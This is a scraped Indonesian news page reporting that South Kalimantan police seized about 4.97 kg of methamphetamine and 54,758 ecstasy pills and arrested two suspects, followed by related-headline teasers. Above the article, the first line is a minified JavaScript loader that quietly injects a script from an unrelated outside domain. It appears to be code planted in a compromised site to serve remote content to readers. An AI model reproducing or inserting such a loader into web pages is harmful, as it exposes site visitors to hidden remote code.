(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Direktorat Reserse Narkoba (Ditresnarkoba) Polda Kalimantan Selatan (Kalsel) berhasil mengungkap kasus peredaran narkotika dengan barang bukti besar.
Dalam konferensi pers yang digelar pada Rabu (2/10/2024) siang, di aula Presisi Ditresnarkoba Polda Kalsel di Banjarmasin, pihak kepolisian berhasil menyita sejumlah besar barang bukti narkotika jenis ekstasi dan sabu.
Direktur Resnarkoba Polda Kalsel Kombes Pol Kelana Jaya SIK MH menjelaskan, ada dua kasus yang berhasil diungkap oleh Subdit 2 dan Subdit 3 Ditresnarkoba Polda Kalsel pada tanggal 5 dan 24 September 2024.
Dari dua kasus besar tersebut, lanjut Kombes Pol Kelana Jaya, polisi menangkap 2 orang tersangka dengan barang bukti meliputi 4,97 Kg (4.977,75 gram) sabu, 54.758 butir ekstasi, serta serbuk ekstasi 4.989,53 gram.
Baca juga: AJI Balikpapan Biro Banjarmasin Imbau Media Massa Patuhi Pedoman Pemberitaan Bunuh Diri
“Dua tersangka yang berhasil ditangkal itu berinisial T (37) warga Kelurahan Belitung Selatan Kota Banjarmasin dan MA (29) warga Kelurahan Sungai Andai, Banjarmasin,” terang Kombes Pol Kelana Jaya.
Kombes Pol Kelana Jaya memaparkan barang bukti yang disita merupakan jaringan Narkoba wilayah Kaltim, Kalteng dan Surabaya (Jatim) dengan akses peredaran melalui jalur darat dan laut.
Dari pengungkapan narkoba senilai Rp54 miliar itu, Ditresnarkoba Polda Kalsel berhasil menyelamatkan 96.277 orang dari bahaya narkoba.
Baca juga: BBM Indonesia Terburuk di Asia Tenggara, Pemicu Polusi Udara Berbahaya
“Kasus ini akan terus dikembangkan sampai akhirnya menangkap bandar besarnya, sebagai upaya memerangi peredaran narkotika di wilayah Kalimantan Selatan,” tegas Kombes Pol Kelana Jaya.
Sementara itu, Kabid Humas Polda Kalsel Kombes Pol Adam Erwindi SIK MH berharap masyarakat semakin waspada.
Selain itu juga mendukung pihak berwajib dalam memberantas peredaran narkoba di Kalimantan Selatan.
Baca juga: Modus Petinggi Bank Kalbar Korupsi Lahan Kantor Rp30 Miliar
“Keberhasilan pengungkapan kasus ini, diharapkan masyarakat semakin waspada dan mendukung pihak berwajib dalam memberantas peredaran narkoba di Kalimantan Selatan,” imbaunya.
(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More
This website uses cookies.